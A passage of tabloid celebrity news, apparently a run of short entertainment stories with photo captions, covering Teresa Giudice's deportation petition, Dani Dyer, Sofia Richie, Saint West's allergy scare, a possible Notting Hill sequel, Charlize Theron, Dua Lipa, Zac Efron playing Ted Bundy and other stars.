newly-enhanced derriere Reality TV divas: 90 Day Fance's Ashley Martson Smith joined Abraham and Giudice The Nebraska native opted for a more revealing ensemble in a brown animal print mini dress and heels. Giudice came under fire recently for a seemingly innocuous comment on Instagram, thanks to a missing comma. It all started when she shared a photo of her family, asking fans to sign a Change.org petition to stop the deportation of her husband, Joe Giudice. One Instagram user, sadie.w.212, asked where this 'energy' was when President Trump, who Giudice has supported, was deporting Mexican families, adding, 'Not only your family matters, Teresa,' which lead to Giudice's social media misstep. Under fire: Teresa Giudice accidentally made a racist comment on Instagram while advocating for President Trump to stop her husband Joe Giudice from being deported Giudice responded, 'I never said that all families matter,' with a heart emoji, which seemed to indicate her statement wasn't as harsh as it came off to be. As is, her statement implies that she doesn't think all families matter, but, as others have suggested, she mistakenly didn't put a comma after that. If she had, it would have read, 'I never said that, all families matter,' which, along with the heart emoji, seems to be the proper context. Instagram comment: One Instagram user, sadie.w.212, asked where this 'energy' was when President Trump, who Giudice has supported, was deporting Mexican families, adding, 'Not only your family matters, Teresa,' which lead to Giudice's social media misstep Teresa and her daughters Gia, 18, Gabriella, 15, Milania, 14 and Audriana, 10, set up a petition on Change.org, to stop the deportation of Joe, which has over 42,000 supporters. Both Joe and Teresa Giudice spent time in prison on fraud charges, with Teresa serving 15 months and Joe recently finishing his 41-month sentence, which they served separately so their kids would have at least one parent in the house. It was revealed that Joe was born in Italy and moved to the U.S. as an infant with his parents, but he never attained American citizenship and stayed in the country on a green card after marrying Teresa in 1999. Giudice's gaffe: Giudice responded, 'I never said that all families matter,' with a heart emoji, which seemed to indicate her statement wasn't as harsh as it came off to be After serving his sentence, Giudice was ordered to be transported into Immigrations and Customs Enforcement (ICE) custody in March. He filed appeals against being deported back to Italy, but those appeals were denied on Sunday, which lead to the reality star and her children setting up this petition. But then on Thursday his immigration lawyers filed a stay in federal court and was granted a temporary delay in his order to be deported. The family's petition opened by stating that Joe Giudice came to America when he was an infant, and he has 'resided in New Jersey his entire life.' Deportation: After serving his sentence, Giudice was ordered to be transported into Immigrations and Customs Enforcement (ICE) custody in March 'My mother and father have fought tirelessly to pay back every single penny of restitution to court deemed they owe,' the petition said. 'They have made a mistake but rectified it through serving time and by financially satisfying all that was owed. 'He is currently still in a detention center while fighting the deportation; that's right he's still incarcerated months after completing his prison sentence in an effort to stand by his family,' the petition continued. 'After completing his sentence he could've left the country and gone to Italy but he chose to stay in prison, hire additional counsel and make several more appeals to try to stay in the United States because he knows how much his family needs him.' Dani Dyer has responded to trolls after she was accused of being a hypocrite in her book What Would Dani Do? amid her split with Jack Fincham. The 22-year-old Love Island winner took to Instagram to hit out at critics who claimed she should not give love advice due to the failure of her relationship, which has been marred with accusations of cheating after she hooked up with her ex. Referencing the book, the tagline on which reads 'My guide to living your best life', she wrote: 'For anyone saying I'm contradicting myself my book isn't a relationship guide. What 22-year-old girl is a relationship guru? Chill out'. Shocker: Dani Dyer has responded to trolls after she was accused of being a hypocrite in her book What Would Dani Do? amid her split with Jack Fincham Jack and Dani announced their split last month, and things have turned acrimonious ever since after he 'liked' a comment suggesting she had cheated on him after she enjoyed an extremely public kiss with her stockbroker ex. Over the weekend, Dani was seen passionately locking lips with Sammy Kimmence - who she dated for a year before Love Island, leading to the shock. Dani appeared disgruntled by claims that her new book - which answers fans' questions about life - was hypocritical due to her current love woes. She took to Instagram to write: 'For anyone saying I'm contradicting myself my book isn't a relationship guide. What 22-year-old girl is a relationship guru? Chill out... Shocker: The 22-year-old Love Island winner took to Instagram to hit out at critics who claimed she should not give love advice due to the failure of her relationship, which has been marred with accusations of cheating after she hooked up with her ex Shock: Over the weekend, Dani was seen passionately locking lips with Sammy Kimmence - who she dated for a year before Love Island, leading to the shock Not cool: Referencing the book, the tagline on which reads 'My guide to living your best life', she wrote: 'For anyone saying I'm contradicting myself my book isn't a relationship guide. What 22-year-old girl is a relationship guru? Chill out' 'I released a girl guide book not a relationship guide but how to make yourself feel good, feel better and yourself feel good, feel better and make yourself stronger... 'And help young girls know they are worth it in life no matter what they do or how they are feeling. Earlier in the week, Dani hit back at a fan's claim she had cheated on her hunky ex with former flame Sammy in a now-deleted tweet, reports The Sun. The starlet was said to be incensed after fans claimed she had been texting Sammy when she was still with Jack. No! Earlier in the week, Dani hit back at a fan's claim she had cheated on her hunky ex with former flame Sammy in a now-deleted tweet, reports The Sun One of her followers said: 'Everyone was like jack is going to move on the quickest but dani saying she loves him after 2 weeks of splitting with Jack. I say she was texting him while with jack and he found out hence why they split.' And Dani is alleged to have responded: 'I'm gonna lose my s***. I don't text people when I'm with someone. Bore off you no nothing[sic].' This comes days after Dani put pen salesman Jack out of her mind when she canoodled with stockbroker ex Sammy in the streets of London. The reality star locked lips with the hunk as he placed a cheeky hand on her bottom. She'd enjoyed an evening of party-hopping at high-profile events for online retailer ASOS and designer Diane on Furstenberg. But Sofia Richie, 20, didn't run out of steam as she hit No Name Club with boyfriend Scott Disick, 35, in Hollywood on Thursday night. The model looked sultry in an off-white linen jumpsuit with a plunging neckline as she held hands with her reality star beau. Party-hopping! Sofia Richie, 20, didn't run out of steam as she hit No Name Club with boyfriend Scott Disick, 35, in Hollywood on Thursday night Opting for spring-summer chic, the cover girl rocked the fresh ensemble which complemented her bronzed limbs. Sofia, the daughter of musician Lionel Richie, 69, added height to her frame with a pair of strappy pyrex heels and accessorised with simple gold and silver jewellery. Sofia wore her blonde locks in effortless waves and opted for natural make-up. Scott went for a more casual look, pairing blue jeans with a beige sweatshirt and a black shearling flight jacket. Date night: The model looked sultry in an off-white linen jumpsuit with a plunging neckline as she held hands with her reality star beau Stunning: Opting for spring-summer chic, the cover girl rocked the fresh ensemble which complemented her bronzed limbs Effortless: Sofia, the daughter of musician Lionel Richie, 69, added height to her frame with a pair of strappy pyrex heels and accessorised with simple gold and silver jewellery The couple had attended an event that launched TVF, the new capsule collection of designer Diane von Furstenberg's granddaughter Talita, 19, at the Chateau Marmont. Over the years, the Chateau has been the scene of a variety of fabled celebrity parties. Also at the star-studded event was Kris Jenner, 63 and Rachel Zoe, 47 and Cindy Crawford's daughter Kaia Gerber, 17. Although she may still be just a teenager, Talita said the 23-piece collection has been a long time coming. Casual: Scott went for a more casual look, pairing blue jeans with a beige sweatshirt and a black shearling flight jacket Happy couple: Sofia wore her blonde locks in effortless waves and opted for natural make-up Power couple: Scott and Sofia headed to the ASOS x Life is Beautiful bash earlier in their busy evening of party-hopping in Los Angeles Scott and Sofia continued their party hopping as they then headed to the ASOS x Life is Beautiful bash. Sofia has just returned from a beach holiday with Scott in Mexico, where the couple were spotted catching some rays in Cabo San Lucas. Their relationship took flight nearly two years ago after they were spotted canoodling on a yacht in Cannes, France. A romance was later confirmed while the pair vacationed in Miami, Florida, in September 2017. She's a doting grandmother to nine grandchildren, and one of the first family members called when there is any drama or crisis at hand. And, Kris Jenner has revealed that Kim Kardashian and Kanye West's 3-year-old son was rushed to hospital 'a week ago or so' while they were all in Palm Springs, California. The momager, 63, explained that after taking her grandson to the emergency room, it transpired that he may in fact have a grass allergy. Oh dear! Kris Jenner, 63, has revealed that Kim Kardashian and Kanye West's 3-year-old son Saint was rushed to hospital 'a week ago or so' while they were all in Palm Springs, California She told Refinery29: 'A week ago or so when we went to Palm Springs and Saint, my little grandson, we discovered he might be allergic to grass. We ended up in the E.R.' While Kris didnt confirm whether or not Saint was found to be allergic to grass, she added: 'All is well we figured it out.' According to the Asthma and Allergy Foundation of America a grass pollen allergy is one of the most common causes of allergy. Each year, plants (including grasses) release tiny pollen grains to fertilise other plants, and this pollen triggers allergic reactions for people with grass allergies. Mummy's boy: The momager explained that after taking her grandson to the emergency room, it transpired that he may in fact have a grass allergy (Pictured with mum Kim in 2017) All is fine: While Kris didnt confirm whether or not Saint was found to be allergic to grass, she added: 'All is well we figured it out' (Pictured with Saint in 2016 in San Diego) Doting: Saint, who has sisters North, and one-year-old Chicago - isnt the first Kardashian grandchild to be rushed to hospital due to an allergic reaction (Pictured: Kanye West with Saint and Kim Kardashian with North, in New York in August 2016) Symptoms of a grass pollen allergy include: Runny nose, sneezing Itchy nose, eyes, ears and mouth, stuffy nose (nasal congestion), red and watery eyes and swelling around the eyes. Saint, who has sisters North, and one-year-old Chicago - isnt the first Kardashian grandchild to be rushed to hospital due to an allergic reaction. Kris recently revealed that Kourtney Kardashian and Scott Disicks son Mason, 9, once had an allergic reaction to peanut butter. Terrifying: Kris Jenner also revealed that Kourtney Kardashian and Scott Disicks son Mason, 9, once had an allergic reaction to peanut butter (pictured with Mason in 2010) Scary: Nine-year-old Mason was younger at the time and Kourtney rushed him to the hospital at the advice of Kris She told Refinery29. 'Mason ate peanut butter and his face started blowing up and his throat started closing. 'They had to rush him to the hospital,' Kris continued. 'He had a peanut butter allergy for the longest time. He's fine now. The scariest is always the first time.' Kourtney is known for keeping a strictly organic, gluten-free, non- GMO, vegan, dairy-free and ketogenic household. Although her children are sometimes allowed to eat 'normal' food during different occasions, Kourtney keeps the food in the household relatively clean. Notting Hill could blag a sequel, according to writer Richard Curtis. The 62-year-old movie legend spoke to Mirror about the chance of a second installment, as he revealed he plans to speak to the stars of the 1999 movie - including leading lady Julia Roberts, who played movie star Anna Scott. Following in the steps of his other iconic movies Love Actually and Four Weddings And A Funeral, which both blagged sequels for Comic Relief, he admits he would like to return to the love story of Anna and Hugh Grant's character William Thacker. Return? Notting Hill could blag a sequel, according to writer Richard Curtis Richard spoke at the launch of the #TOGETHERBAND, a friendship wristband from sustainable brand Bottletop, where he made the exciting confession. Notting Hill followed the love story of William and A-lister Anna, who met when she stumbled upon his book shop before throwing themselves into an affair. Their contrasting existences and the difficulties it caused their romance is then at the heart of the beloved film, set in the west London suburb. Julia has also spoken about the possibilities in the past, as she previously said of rom-coms: 'There came a point in my career where people thought I had turned on romantic comedies... Back and better then ever! The 62-year-old movie legend (pictured in 2013) spoke to Mirror about the chance of a second installment, as he revealed he plans to speak to the stars of the movie - including leading lady Julia Roberts, who played movie star Anna Scott Loved-up: Notting Hill followed the love story of William and A-lister Anna, who met when she stumbled upon his book shop before throwing themselves into an affair Then and now: Julia won the heart of Hugh's character in the movie, where it was a case of art imitating life as she played a big time movie star (pictured left, in the movie, right, in January) 'I love them, I love to be in them, I love to watch them. But sometimes, they just dont work at a certain point of life experience.' Meanwhile, the movie's director Roger Michel said: 'Are Will and Anna still living in Notting Hill with a load of grumpy teenagers running around? I just dont know. In love stories, you have to split up and then get back together again.' When news came to light about the possibility of a sequel, excited fans soon flooded Twitter with thrilled tweets and snippets from the movie. Thrilling: When news came to light about the possibility of a sequel, excited fans soon flooded Twitter with thrilled tweets and snippets from the movie Way back when: The movie has won the hearts of fans all over the globe since its late Nineties release Users penned: 'Notting Hill sequel!! yasssss #nottinghill... Plans to do a Notting Hill Sequel? Living for that #NottingHill #Remakes... Buzzing there is going to be a Notting Hill sequel.' Last month, Comic Relief viewers were joyful as Lily James and Alicia Vikander married in the Four Weddings And A Funeral's spoof. While fans were left giggling with the Mamma Mia! sequel parody, One Red Nose Day And A Wedding left fans emotional when the Four Weddings And A Funeral cast reunited for the 12-minute sketch 25 years after the movie. Happy days: Meanwhile, the movie's director Roger Michel said: 'Are Will and Anna still living in Notting Hill with a load of grumpy teenagers running around? I just dont know. In love stories, you have to split up and then get back together again' Way back when: Hugh established himself as a heartthrob of the rom-com world following his role in the 1999 movie - leading to roles in Bridget Jones among others Social media was awash with fans praising the 'brilliant' clip where Hugh snapped hilariously straight back into the character of hapless Charles as he walked his on-screen daughter, played by Lily, up the aisle. As the original film charts how Charles (Grant) and Carrie (Andie Macdowell) keep crossing paths before they finally are romantically united at the end of the movie, it's a given they are given a special moment in the spoof. Love Actually meanwhile, which hit the screens back in 2003, before the cast reunited for a 14-minute charity sketch, which aired in 2017. Way back when: The duo won the hearts of audiences as they unlikely romantic pairing Alongside: Rhys Ifans starred as William's hapless roommate Spike, who was stunned by the presence of Anna in their home (pictured, left, in the movie, pictured right, in 2015) In 2016, Hugh hit headlines when he returned to Notting Hill after jointly buying a 10million home with the mother of two of his children. He has bought the property with his now-wife Anna Eberstein, 17 years after starring as the bookshop owner, Will. The romcom grossed $370million worldwide and is still his most successful film. The big time: In 2016, Hugh hit headlines when he returned to Notting Hill after jointly buying a 10million home with the mother of two of his children She's the Wildlife Warrior known for wearing her iconic khaki uniform from Australia Zoo. And now Bindi Irwin has revealed that she has a fashion regret. Talking to 9Honey on Friday, the 20-year-old daughter to the late Steve Irwin said that she wishes she learned to walk in heels before taking on Dancing With The Stars. 'I fell flat on my face!' Bindi Irwin reveals her biggest fashion regret is not learning to walk in heels before going on Dancing With The Stars 'I had never wore high heels in my entire life until I got on Dancing With The Stars,' she revealed. 'And I put them on for the first time and fell flat on my face.' 'So if I think I could go back in time, I would have made sure I wore heels before I got onto the ballroom floor,' she confessed. All glammed up! Bindi won the US version of Dancing With The Stars in 2015, when she was just 16, starring on the show with dance partner Derek Hough (pictured) Bindi won the US version of Dancing With The Stars in 2015, when she was just 16, starring on the show with dance partner Derek Hough. And while waiting to slip on a pair of heels in your mid-teens may come as a shock to her fans, the Wildlife Warrior revealed her bare-minimum style also crosses over into her beauty regime as well. When asked how she kept her hair so shiny, the star said that she doesn't colour it, only washes and brushes it and only gets it cut once a year. Bindi also said that she never plucks her eyebrows and loves to stay fresh-faced, but makes sure she never goes anywhere without eyeliner and lip gloss in her bag. Winner! While admitting that she hadn't worn heels before appearing on the dancing reality television show, she looked at home as she danced her way all the way to winning the finale Natural beauty: When asked how she kept her hair so shiny, the star said that she doesn't colour it, only washes and brushes it and only gets it cut once a year When asked about what she typically liked to splurge on, her choices were similarly minimal. The Dancing With The Stars winner said she loved to splurge on tea, essential oils and likes to collect socks - admitting she has way too many pairs. The star meanwhile, has been the subject of wedding rumours of late, being in a long-term relationship with American wakeboarder Chandler Powell, 22. Having met on a tour of Australia Zoo in 2013, the pair have been inseparable ever since, with fresh claims they're set to walk down the isle resurfacing recently. Loved-up: Bindi meanwhile, has been the subject of wedding rumours of late, being in a long-term relationship with American wakeboarder Chandler Powell, 22. Pictured with mother Terri Irwin, 54 In January it was reported the Irwin family were gearing up to hold a secret party Down Under to celebrate the upcoming nuptials, and even rumours that they'd secretly wed. The claims came after news that smitten Bindi's Florida-born boyfriend had relocated to Queensland to be with her. Bindi gushed about their 'wonderful busy life' together - and recently hinted at impending proposal rumours by teasing that they will 'see what happens next.' Charlize Theron has revealed that she is 'raising two beautiful proud black African girls.' The South African actress spoke candidly about her family on The Graham Norton Show, which is set to air on Friday night, days after revealing that she has been raising her adopted child Jackson as a girl after the seven-year-old was introduced to the world as a boy. 'I'm raising two beautiful proud black African girls and I want them to find themselves and not necessarily push my ancestry on them, but I have taught them two very sweet Afrikaans songs about politeness,' the Oscar winner, 43, revealed. Proud: Charlize Theron, 43, has revealed that she is 'raising two beautiful proud black African girls' while appearing on The Graham Norton Show, set to air on Friday night Charlize, who was in the London for the premiere of her new movie Long Shot, continued to explain: 'I have taught them a little Afrikaans, but its a language filled with very conflicted history.' The Hollywood star first exclusively revealed to the Daily Mail, that she was raising Jackson as a girl alongside her three-year-old sister, August. The Monster actress revealed: 'Yes, I thought she was a boy, too. Until she looked at me when she was three years old and said: "I am not a boy!"' She continued: 'So there you go! I have two beautiful daughters who, just like any parent, I want to protect and I want to see thrive.' Candid: The South African actress spoke about motherhood, days after revealing that she has been raising her adopted child Jackson as a girl after being introduced to the world as a boy Motherhood: The Oscar winner spoke gushingly about her girls and revealed she 'didn't want to push her ancestry on them' but had taught them 'two Afrikaans songs about politeness' For years now, rumours have swirled that Charlize has, in fact, been raising Jackson as a girl, who she introduced to the world as a boy when they were adopted. 'My job as a parent is to celebrate them and to love them and to make sure that they have everything they need in order to be what they want to be. 'And I will do everything in my power for my kids to have that right and to be protected within that.' Charlize explained: 'You can blame my mom for the fact I don't know any better! You know, I grew up in a country where people lived with half-truths and lies and whispers and nobody said anything outright, and I was raised very specifically not to be like that. 'I thought she was a boy, too!' The Hollywood star first exclusively revealed to the Daily Mail, that she was raising Jackson as a girl alongside her three-year-old sister, August 'She said "I'm not a boy!"': For years now, rumours have swirled that Charlize has, in fact, been raising Jackson as a girl, who she introduced to the world as a boy when they were adopted 'I was taught by my mom that you have to speak up; you have to be able to know that, when this life is over, you'll have lived the truth you're comfortable with, and that nothing negative can come from that.' Strong family ties has always been important for the Afrikaans star, whose story of early childhood trauma in South Africa is well known. When Charlize was just 15-years-old, her father returned back to their farm outside of Johannesburg in a rage threatening to kill Charlize and her mother, Gerda. 'Everything in my power': Charlize, pictured with Long Shot co-star Seth Rogen, revealed it is her job to 'celebrate and love her children' Strong: Family ties has always been important for the Afrikaans star, whose story of early childhood trauma in South Africa is well known Tragic: When Charlize was just 15, her father returned back to their farm outside of Johannesburg in a rage threatening to kill Charlize and her mother, Gerda - who shot him in an act of self-defence However, in a turn of events, it was Gerda who shot him in front of Charlize's eyes, in an act of that was later deemed self-defence. Adoption was always in Charlize's plan, and she adopted Jackson in 2012, and August in 2015. Catch The Graham Norton Show, BBC One, Friday 26th April 10.35pm. Don't miss! Catch The Graham Norton Show, BBC One, Friday 26th April 10.35pm (L-R) -Charlize, Seth, Zac Efron, Matthew Broderick, Terry Hall, Lynval, and Horace from The Specials She's been soaking up the sun on a relaxing Barbados break. And Lady Victoria Hervey was displaying her incredible figure on Thursday, as she hit the beach in a skimpy blue bikini. The socialite, 42, looked sensational in the revealing ensemble as she wandered through the waves in the blazing sunshine. Looking good! Lady Victoria Hervey, 42, was displaying her incredible figure on Thursday, as she hit the beaches of Barbados in a skimpy blue bikini Victoria ensured that her bronzed physique was on full display as she enjoyed a relaxing day at the beach in the revealing blue two-piece. The fashion star display her peachy posterior in the revealing bottoms, and displayed her ample cleavage in a plunging top. Victoria also went barefoot as she wandered along the golden sands, and finished her look with simple beaded bracelets. Sunny day: Victoria ensured that her bronzed physique was on full display as she enjoyed a relaxing day at the beach Incredible: The fashion star highlighted her bronzed figure in a plunging blue two-piece with matching small bottoms Flawless: As she continued to top up her tan, Victoria strolled through the Barbados ocean under the beautiful blue sky In shape: Victoria looked far younger than her years as she showed off her toned figure on the beach in the revealing ensemble Victoria appeared in high spirits on her beach outing, which also seen her sport various swimwear looks from her own collection. And while she has flaunted her age-defying figure on the beach, the socialite previously voiced her concerns about her body clock. Last January, Victoria told The Mail On Sunday last January that she has frozen her eggs in a fertility clinic, costing her 11,000. New look: The socialite has been sporting an array of swimwear looks from her new collection Sensational: At one point Victoria even enjoyed a quick jog as she stormed through the waves Perky: The revealing bottoms also highlighted her peachy posterior, after a spot of relaxation in the sand Nervous: And while she has flaunted her age-defying figure on the beach, the socialite previously voiced her concerns about her body clock Candid: Last January, Victoria told The Mail On Sunday last January that she has frozen her eggs in a fertility clinic, costing her 11,000 Mum to be? Victoria has also said she hopes to have a child before she is 45 Victoria has said she hopes to have a child before she is 45. She explained: 'I had six eggs removed from my ovaries and frozen in a fertility clinic. 'At the end of this month, I intend to go through the exhausting procedure again in the hope that I will produce another half-dozen or so eggs... 'It will, I hope, fill what has become rather a hole in my life.' Speaking out: Victoria also told the publication she has been undergoing the process of freezing her eggs in recent months in her quest to have a child Messing around: During her beach break, Victoria playfully tossed a stone into the air Dance it out: The star seemed to be having a whale of a time as she strolled through the ocean Fears: Victoria confessed that she would like 'two children' and turned to freezing her eggs following her fears she has 'left it too late' to become a mother Truthful: She also explained that she would prefer the 'emotional aspect' of a relationship, rather than favouring a sperm donor Victoria confessed that she would like 'two children' and turned to freezing her eggs - a decision prompted by Stacey Solomon, whom she met while competing on The Jump in 2015 - following her fears she has 'left it too late' to become a mother. Explaining that she wants the 'emotional aspect' of a relationship, rather than favouring a sperm donor, Victoria added: 'I'm hoping science might be able to stop the clock until I find the right man to be a father to my babies. 'A major part of the problem is that I'm still single. Despite some intense relationships in my early 20s, they all fizzled out eventually. 'I do have a back-up plan if my Prince Charming doesnt materialise,' Victoria claimed. 'Ive got friends whove said theyd be prepared to father my child, and Im considering that option very seriously.' Two-time Oscar winner Jodie Foster recently directed Brenna Harding in smash hit series Black Mirror. And while the Australian actress was honoured to win the role, it was her mother who was the most thrilled. The 23-year-old revealed during Friday's episode of The Project: 'My mum had a huge crush on Jodie Foster for her entire life so she was very, very excited!' 'My mum had a huge crush on her!' Appearing on The Project on Friday, Brenna Harding (pictured) revealed her mother organised a special birthday message from Jodie Foster The Puberty Blues actress went on to reveal that the two women struck up a friendship and her mother got in touch with the legendary actress in order to organise a special birthday treat. 'My mum actually got Jodie to send me a message for my 23rd birthday wishing me a happy birthday,' she told the hosts. The 55-year-old legend recently went behind the camera to direct the young up-and-comer in a terrifying new episode of the cult series Black Mirror. Winning role: Oscar winner Jodie recently directed Brenna Harding in smash hit series Black Mirror (pictured). And while the Australian actress was honoured to win the role, it was her mother who was the most thrilled The 23-year-old revealed during Friday's episode of The Project: 'My mum had a huge crush on Jodie Foster for her entire life so she was very, very excited!' Happy birthday! The Puberty Blues actress went on to reveal that her mum got in touch with the legendary actress in order to organise a special birthday treat In the episode, titled ArkAngel, Brenna plays Sara, a rebellious teenager who has had a computer chip fitted so her mother can monitor her movements and block anything that may trigger her. Speaking with The Sydney Morning Herald, Jodie gushed over the Australian star's ability to play the difficult part. 'We went through lots of women in casting. And Brenna had never really done an American movie before,' Jodie said. Nice of her! 'My mum actually got Jodie to send me a message for my 23rd birthday wishing me a happy birthday,' Brenna told the hosts. Pictured: Jodie Foster 'I saw a bunch of her stuff from Australia, and I think she's a really exciting actress: smart, strong, emotional and available,' the Silence of The Lambs star told the publication. Mad Men star Rosemarie DeWitt plays Brenna's mum in the episode of the dystopic sci-fi series, which is now streaming on Netflix. Gushing over both the women, Jodie added: 'They both feel so honest. They are not starlettes or too Hollywood, they just feel like real people.' Despite being known primarily for her work on-camera as opposed to behind the camera, this is not Jodie's first time directing for a Netflix series. She never fails to wow the style brigade on the red carpet and at glitzy soirees in her array of jaw-dropping designer looks. Yet, Dua Lipa, 23, swapped her intricate haute couture gowns for a nineties-inspired ensemble as she went house hunting in London on Friday with her father Dukagjin. The Electricity songstress did little to detract attention as she sported an aqua-coloured bucket hat, which featured a rainbow motif and the Chanel emblem in the middle, over her short brunette locks. On the hunt: Dua Lipa, 23, swapped her intricate haute couture gowns for a nineties-inspired ensemble as she went house hunting in London on Friday with her father Dukagjin The Grammy winner, who went make-up free for the outing, teamed her statement hat with a purple oversized Ashley Williams fleece, which retails for 400. The style maven, who is currently dating Isaac Carew, completed the look with a pair of Adidas tracksuit bottoms and white trainers alongside her father. Dua's dad Dukagjin sported an equally casual look for their house hunt and wore black joggers, hoodie and leather jacket. The father-daughter outing comes two months after fans went wild for Dua's handsome father, who stole the show at the Brit Awards in February. Stepping out: Dua's dad Dukagjin sported an equally casual look for their house hunt and wore black joggers, hoodie and leather jacket Casual: The Electricity songstress did little to detract attention as she sported an aqua-coloured bucket hat, which featured a rainbow motif and the Chanel emblem in the middle, over her short brunette locks Hunky Dukagjin, something of a rock star in his native Kosovo, turned heads at the 02 Arena, and even had Brits host Jack Whitehall gushing over his 'silver fox' looks. Whitehall drew laughs by begging Dukagjin to swap places with his own father, although the proud parent was happy for the attention to remain on his award winning daughter Dua, who snapped up the Best Single prize for One Kiss. And it wasn't just the funnyman who noticed his smouldering presence at the Brit Awards table, as dozens flocked to social media to purr over the Kosovar Albanian's good looks, dubbing him a 'silver fox'. The discovery of the 'DILF' also prompted a hurried trawl through his social media for fans who found Dukagjin's personal Instagram account - which reached 178,000 followers in the aftermath of the award show. Wrapped up: The Grammy winner, who went make-up free for the outing, teamed her statement hat with a purple oversized Ashley Williams fleece, which retails for 400 Chit chat: The pair looked in deep conversation as they surveyed the area Pouring over him: The father-daughter outing comes two months after fans went wild for Dua's handsome father, who stole the show at the Brit Awards in February Turning heads: Hunky Dukagjin, something of a rock star in his native Kosovo, turned heads at the 02 Arena, and even had Brits host Jack Whitehall gushing over his 'silver fox' looks Jetsetter: It proved to be a busy day for Dua as she was seen arriving in to New York's JFK airport The former musician also founded his own music festival in his native land, in a bid to change any lingering false perceptions of Kosovo as being war torn and unwelcoming. The Sunny Hill festival, held in Pristina, the capital of Kosovo, which declared independence from Serbia in 2008, had his daughter headline with support from rapper Action Bronson and tropical house duo Bondax. 'We want to give people a sense of belonging, of European living and the idea that we are part of Europe,' Dukagjin told the Observer ahead of its opening. 'This is the greatest way to promote Kosovo as a peace-loving and music-loving country that welcomes all our neighbours and all visitors who want to have fun.' Her father is a beloved screen-star, who lights up the screens five mornings a week. Yet Phillip Schofield's daughter Ruby looks to be a star in her own right according to her glitzy Instagram account, as the photosharing page - which boasts 60,000 followers, depicts her charmed and luxurious life in all its glory. The 23-year-old celebrity offspring intricately details her fun and frolics, as she is known to jet on frequent idyllic holidays, live it up at wild music festivals and display her sensational physique and style frequently. Blonde beauty: Phillip Schofield's daughter Ruby looks to be a star in her own right according to her glitzy Instagram account, as the photosharing page - which boasts 60,000 followers, depicts her charmed and luxurious life in all its glory Ruby, whose mum is Phillip's wife Stephanie Lowe, displays her stunning life online while also keeping elements, including her philanthropic work, behind-the-scenes. Showing off her incredible figure in all its glory, Ruby's most recent trip saw the blonde beauty frolic with pals in sun-drenched Lisbon, Portugal in September. Many of Ruby's posts feature cosy images with her beloved boyfriend Will George, who seems equally enamoured with Phillip's daughter. Sporting a simple bandeau bikini, with high hips and a straight-cut top, she displayed her ripped stomach and slender limbs to perfection. Happy days: The 23-year-old celebrity offspring intricately details her fun and frolics, as she is known to jet on frequent idyllic holidays, live it up at wild music festivals and display her sensational physique and style frequently (pictured with her beau Will George) Here they come! She enjoys boozy trips with pals during her many holidays Happy days: She proved it is not just her own style that is wild, but also her pals as they all coordinated in matching pink, feathered get-up Her blonde locks cascaded in a straight style while she wore trendy designer sunglasses and rested her head on handsome Will's shoulder. Music festivals are often the call of the day for Ruby, as she shared snaps from both Kappa FuturFestival in Italy and Gottwood in Wales. She proved it is not just her own style that is wild, but also her pals as they all coordinated in matching pink, feathered get-up. A family holiday to the Maldives saw the entire family enjoying the ultimate luxuries on the idyllic island with sun-kissed backdrops providing perfect snaps. Sister, sister! The family trip to Maldives was the perfect backdrop for more Instagrams Life's a beach: A family holiday to the Maldives saw the entire family enjoying the ultimate luxuries on the idyllic island with sun-kissed backdrops providing perfect snaps Loved-up: She frequently shares sweet snaps with her beloved beau on social media In 2017, the blonde beauty graduated from Leeds Becket University where she achieved a 2:1 in psychology and received a first for her dissertation. In backdated shots, she is seen on Instagram posing with her mum, dad and older sister Molly on her uni ground while posing in her cap and gown. At school, she carried out A-levels in History, Business and Biology while also excelling in lacrosse at the at the 11,000 a term private boarding school. She has also interned at ITV, undoubtedly with the help of her doting dad, while also volunteering with disabled children at The Chiltern Centre, a charity for disabled children, and raised 15,000 by trekking to Machu Pichuu. Happy days! In 2017, the blonde beauty graduated from Leeds Becket University where she achieved a 2:1 in psychology and received a first for her dissertation Out and a pout: She poses up a storm in a host of stunning locations while wearing chic ensembles He's set to appear as serial killer Ted Bundy in new film Extremely Wicked, Shockingly Evil and Vile. However, Zac Efron has revealed that he initially had 'reservations' about portraying the disturbing criminal. Speaking on The Graham Norton Show which is set to air on Friday, the actor, 31, insisted that he didn't want to 'glorify' anything went it came to depicting the twisted American murderer. Hesitant: Zac Efron, 31, has revealed that he initially had 'reservations' about portraying the disturbing criminal Ted Bundy in new film Extremely Wicked, Shockingly Evil and Vile Revealing all to the Irish presenter, 56, Zac said: 'I had a lot of reservations about playing a killer and in this genre of film. 'I wasnt interested in glorifying anything, but I was interested in the psychological aspect of whether he was capable of real love.' When asked if he had to convince anyone that he was capable of such a role because it is so different to anything he has done before, he defiantly responded: 'I was very hesitant to do it, but I knew I could. 'I just didnt want to jump at something that could be seen as a desperate shot at trying to change my image. It was a unique experience and not what anyone expects. It makes me proud.' Fears: Speaking on The Graham Norton Show which is set to air on Friday, he insisted that he didn't want to 'glorify' anything went it came to depicting the twisted American murderer Responsible: 'I wasnt interested in glorifying anything, but I was interested in the psychological aspect of whether he was capable of real love' The Dirty Grandpa star recently told how he struggled to detach himself from playing the the killer when asked about the methods he used to keep the character separate from his home life. Speaking at the London premiere of the harrowing film, he said: 'Ive never played a role in which I really have to separate myself from when I go home at night and it was almost impossible. Id like to say that I did it successfully but I couldnt. 'I really wasnt interested in playing a serial killer, Im not in the business of glamorising a horrendous person or his acts, but there is something unique about the way we went into the psyche of Ted, and his longtime girlfriend Liz [played by Lily Collins]. 'Its a different perspective and not your run-of-the-mill serial killer cliche, body count gets higher and higher and oh the guy you always knew did it, did it. Honest: 'It was a unique experience and not what anyone expects. It makes me proud' (pictured L-R Graham Norton, Charlize Theron, Seth Rogan, Zac and Matthew Broderick) 'This is what it was like to be there on the day, we didnt know if he was innocent or guilty, we just saw Ted Bundy through their eyes.' Echoing the star's fears expressed on the BBC One chat show, director of the film, Joe Berlinger, also spoke of Zac's tentativeness about taking on such a role. 'Its a dark subject matter,' he said at the premiere. 'Its a kind of cliche where you take someone who was seen as a teen idol, a teen star, and you put him a dark role. So he wanted to make sure that it wasnt gratuitous. 'We had a very good conversation about what I wanted to do, which is to send a message out to his fans, to his demographic, theres a certain group of people for whom Zac can do no wrong, because of how he looks, because of how he acts. So tough: 'Ive never played a role in which I really have to separate myself from when I go home at night and it was almost impossible' 'Hes a wonderful guy, but nobody really knows who he is in real life, and thats the hold Bundy had over people, because he was charming, because he was good looking he was able to manipulate his victims, he was able to lead them to their death. 'He was able to manipulate the American media that made him into a hero, and a perverse kind of folk hero. He was able to manipulate the criminal justice system, so casting somebody like Zac was the perfect way for me as a documentarian who looks for something real to bring into the movie. 'Now if he didnt have the acting chops you could say that it was a stunt, but he has amazing acting skills and he did such a fantastic job.' 